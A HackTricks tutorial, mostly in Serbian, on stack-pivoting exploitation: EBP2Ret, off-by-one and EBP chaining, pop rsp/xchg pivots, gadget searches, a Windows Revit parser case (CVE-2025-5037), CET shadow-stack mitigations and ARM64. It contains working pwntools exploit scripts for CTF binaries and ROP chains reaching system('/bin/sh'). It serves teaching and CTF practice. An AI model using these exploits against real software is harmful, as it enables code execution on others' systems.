Stack Pivoting
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Ova tehnika iskorišćava mogućnost manipulacije Base Pointer (EBP/RBP) kako bi povezana izvršavanja više funkcija kroz pažljivo korišćenje frame pointer-a i sekvence instrukcija leave; ret.
Kao podsetnik, na x86/x86-64 leave je ekvivalentno:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
A pošto se sačuvani EBP/RBP nalazi na stacku pre sačuvanog EIP/RIP, moguće ga je kontrolisati kontrolišući stack.
Napomene
- Na 64-bit, zamenite EBP→RBP i ESP→RSP. Semantika je ista.
- Neki kompajleri izostave frame pointer (see “EBP might not be used”). U tom slučaju,
leavemožda neće biti prisutan i ova tehnika neće raditi.
EBP2Ret
Ova tehnika je posebno korisna kada možete izmeniti sačuvani EBP/RBP ali nemate direktan način da promenite EIP/RIP. Ona koristi ponašanje epiloga funkcije.
Ako, tokom izvršavanja fvuln, uspete da ubacite lažni EBP na stack koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode/ROP chain-a (plus 8 bytes na amd64 / 4 bytes na x86 da se uračuna pop), možete indirektno kontrolisati RIP. Kako se funkcija vraća, leave postavlja RSP na kreiranu lokaciju i naredni pop rbp smanjuje RSP, efektivno uzrokujući da on pokaže na adresu koju je napadač tamo smestio. Zatim ret će koristiti tu adresu.
Obratite pažnju da morate znati 2 adrese: adresu na koju će ESP/RSP biti postavljen, i vrednost koja je na toj adresi i koju će ret preuzeti.
Exploit Construction
Prvo treba da znate adresu na koju možete upisati proizvoljne podatke/adrese. RSP će pokazivati ovde i prvi ret će biti potrošen.
Zatim treba izabrati adresu koju će ret iskoristiti da preusmeri izvršenje. Možete koristiti:
- Validna ONE_GADGET adresa.
- Adresa
system()praćena odgovarajućim return-om i argumentima (na x86:rettarget =&system, zatim 4 junk bytes, pa&"/bin/sh"). - Adresa
jmp esp;gadgeta (ret2esp) praćena inline shellcode-om. - ROP lanac postavljen u memoriju koja se može upisati.
Zapamtite da pre bilo koje od ovih adresa u kontrolisanoj oblasti mora postojati mesto za pop ebp/rbp iz leave (8B na amd64, 4B na x86). Možete iskoristiti te bajtove da postavite drugi lažni EBP i zadržite kontrolu nakon što se prvi poziv završi.
Off-By-One Exploit
Postoji varijanta koja se koristi kada možete promeniti samo najmanje značajan bajt sačuvanog EBP/RBP. U tom slučaju, memorijska lokacija koja sadrži adresu na koju će se skočiti pomoću ret mora deliti prva tri/pet bajtova sa originalnim EBP/RBP tako da 1-bajtno prepisivanje može da je preusmeri. Obično se povećava niska bajt (offset 0x00) kako bi se skočilo što dalje unutar obližnje stranice/poravnate oblasti.
Takođe je uobičajeno koristiti RET sled na stacku i staviti pravi ROP lanac na kraju kako bi bilo verovatnije da novi RSP pokaže unutar sled-a i da se izvrši konačni ROP lanac.
EBP Chaining
Postavljanjem kontrolisane adrese u sačuvani EBP slot na stacku i leave; ret gadgeta u EIP/RIP, moguće je premestiti ESP/RSP na adresu kontrolisanu od strane napadača.
Sada je RSP kontrolisan, a sledeća instrukcija je ret. U kontrolisanu memoriju postavite nešto poput:
&(next fake EBP)-> Učitano od stranepop ebp/rbpizleave.&system()-> Pozvano od straneret.&(leave;ret)-> Nakon završetkasystem, pomera RSP na sledeći lažni EBP i nastavlja.&("/bin/sh")-> Argument zasystem.
Na ovaj način je moguće povezati nekoliko lažnih EBP-a kako bi se kontrolisao tok programa.
Ovo je slično ret2lib, ali kompleksnije i korisno samo u rubnim slučajevima.
Štaviše, ovde imate an example of a challenge koji koristi ovu tehniku sa stack leak da pozove winning funkciju. Ovo je finalni payload sa stranice:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 napomena o poravnanju: System V ABI zahteva 16-bajtno poravnanje steka na call mestima. Ako tvoj chain poziva funkcije poput
system, dodaj alignment gadget (npr.ret, ilisub rsp, 8 ; ret) pre poziva da održiš poravnanje i izbegnešmovapspadove.
EBP možda nije korišćen
Kao explained in this post, ako je binarni fajl kompajliran sa nekim optimizacijama ili sa izostavljanjem frame pointer-a, EBP/RBP nikada ne kontroliše ESP/RSP. Stoga, svaki exploit koji funkcioniše kontrolisanjem EBP/RBP neće uspeti, jer prologue/epilogue ne obnavljaju stanje sa frame pointer-a.
- Nije optimizovano / frame pointer se koristi:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimizovano / frame pointer izostavljen:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Na amd64-u često ćete videti pop rbp ; ret umesto leave ; ret, ali ako je frame pointer potpuno izostavljen onda ne postoji rbp-bazirani epilog kroz koji bi se moglo pivot-ovati.
Other ways to control RSP
pop rsp gadget
Na ovoj stranici možete naći primer koji koristi ovu tehniku. Za taj izazov je bilo potrebno pozvati funkciju sa 2 specifična argumenta; postojao je pop rsp gadget i leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Pogledajte ret2esp tehniku ovde:
Brzo pronalaženje pivot gadgets
Koristite svoj omiljeni gadget finder da tražite klasične pivot primitives:
leave ; retna funkcijama ili u bibliotekamapop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(iliadd esp, <imm> ; retna x86)
Primeri:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Klasičan pivot staging pattern
Robusna pivot strategija korišćena u mnogim CTFs/exploits:
- Iskoristite mali početni overflow da pozovete
read/recvu veliku writable region (npr..bss, heap, ili mapped RW memory) i postavite tamo kompletan ROP chain. - Vratite izvršenje u pivot gadget (
leave ; ret,pop rsp,xchg rax, rsp ; ret) da pomerite RSP u tu regiju. - Nastavite sa staged chain (npr. leak libc, pozovite
mprotect, zatimreadshellcode, pa skočite na njega).
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
Client-side parsers ponekad implementiraju destructor loops koji indirektno pozivaju function pointer izveden iz polja objekta pod kontrolom napadača. Ako svaka iteracija nudi tačno jedan indirektni poziv (a “one-gadget” machine), to možete konvertovati u pouzdan stack pivot i ROP entry.
Primećeno u deserializaciji Autodesk Revit RFA (CVE-2025-5037):
- Kreirani objekti tipa
AStringpostavljaju pokazivač na napadačeve bajtove na offset 0. - Destructor loop efikasno izvršava po jedan gadget po objektu:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Two practical pivots:
- Windows 10 (32-bit heap addrs): neusklađen “monster gadget” koji sadrži
8B E0→mov esp, eax, na krajuret, da se pivotuje sa call primitive na heap-based ROP chain. - Windows 11 (full 64-bit addrs): use two objects to drive a constrained weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret(prenese originalni rax u rbp) - Gadget 2:
leave ; ... ; ret(postajemov rsp, rbp ; pop rbp ; ret), pivoting into the first object’s buffer, where a conventional ROP chain follows.
- Gadget 1:
Tips for Windows x64 after the pivot:
- Respect the 0x20-byte shadow space and maintain 16-byte alignment before
callsites. It’s often convenient to place literals above the return address and use a gadget likelea rcx, [rsp+0x20] ; call raxfollowed bypop rax ; retto pass stack addresses without corrupting control flow. - Non-ASLR helper modules (if present) provide stable gadget pools and imports such as
LoadLibraryW/GetProcAddressto dynamically resolve targets likeucrtbase!system. - Creating missing gadgets via a writable thunk: if a promising sequence ends in a
callthrough a writable function pointer (e.g., DLL import thunk or function pointer in .data), overwrite that pointer with a benign single-step likepop rax ; ret. The sequence then behaves like it ended withret(e.g.,mov rdx, rsi ; mov rcx, rdi ; ret), which is invaluable to load Windows x64 arg registers without clobbering others.
For full chain construction and gadget examples, see the reference below.
Modern mitigations that break stack pivoting (CET/Shadow Stack)
Modern x86 CPUs and OSes increasingly deploy CET Shadow Stack (SHSTK). With SHSTK enabled, ret compares the return address on the normal stack with a hardware-protected shadow stack; any mismatch raises a Control-Protection fault and kills the process. Therefore, techniques like EBP2Ret/leave;ret-based pivots will crash as soon as the first ret is executed from a pivoted stack.
- For background and deeper details see:
- Quick checks on Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Napomene za labove/CTF:
-
Neke moderne distribucije omogućavaju SHSTK za CET-enabled binarne fajlove kada su hardver i glibc podrška prisutni. Za kontrolisano testiranje u VM-ovima, SHSTK se može onemogućiti sistemski putem kernel boot parametra
nousershstk, ili selektivno omogućiti preko glibc tunables pri pokretanju (vidi reference). Ne onemogućavajte mitigacije na produkcijskim ciljevima. -
JOP/COOP or SROP-based techniques mogu i dalje biti izvodljive na nekim ciljevima, ali SHSTK specifično razbija
ret-based pivots. -
Napomena za Windows: Windows 10+ izlaže user-mode, a Windows 11 dodaje kernel-mode “Hardware-enforced Stack Protection” zasnovan na shadow stacks. CET-compatible processes sprečavaju stack pivoting/ROP na
ret; developeri se uključuju putem CETCOMPAT i povezanih politika (vidi referencu).
ARM64
U ARM64, prolog i epilogi funkcija ne čuvaju niti ne vraćaju registar SP na steku. Štaviše, instrukcija RET ne vraća na adresu na koju pokazuje SP, već na adresu unutar x30.
Stoga, po defaultu, samo zloupotrebom epiloga nećete moći da kontrolišete registar SP prepisivanjem neke podatke na steku. Čak i ako uspete da kontrolišete SP, i dalje ćete morati da pronađete način da kontrolišete registar x30.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
Način da se izvede nešto slično stack pivoting-u na ARM64 bio bi da možete da kontrolišete
SP(kontrolišući neki registar čija se vrednost prosleđuje uSPili zato što iz nekog razlogaSPuzima svoju adresu sa steka i imamo overflow) i zatim zloupotrebite epilog da učitate registarx30sa kontrolisanogSPiRETna tu adresu.
Takođe na sledećoj strani možete videti ekvivalent Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. Program daje leak za stack ili pie i WWW od qword-a. Prvo dobijete stack leak i koristite WWW da se vratite i dobijete pie leak. Zatim koristite WWW da kreirate eternal loop zloupotrebljavajući
.fini_arrayunose + pozivajući__libc_csu_fini(više info ovde). Zloupotrebom ovog “eternal” write-a upisuje se ROP chain u .bss i na kraju se poziva pivotovanjem sa RBP. - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — detalji o SHSTK,
nousershstk,/proc/$PID/statuszastavicama, i omogućavanju putemarch_prctl. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


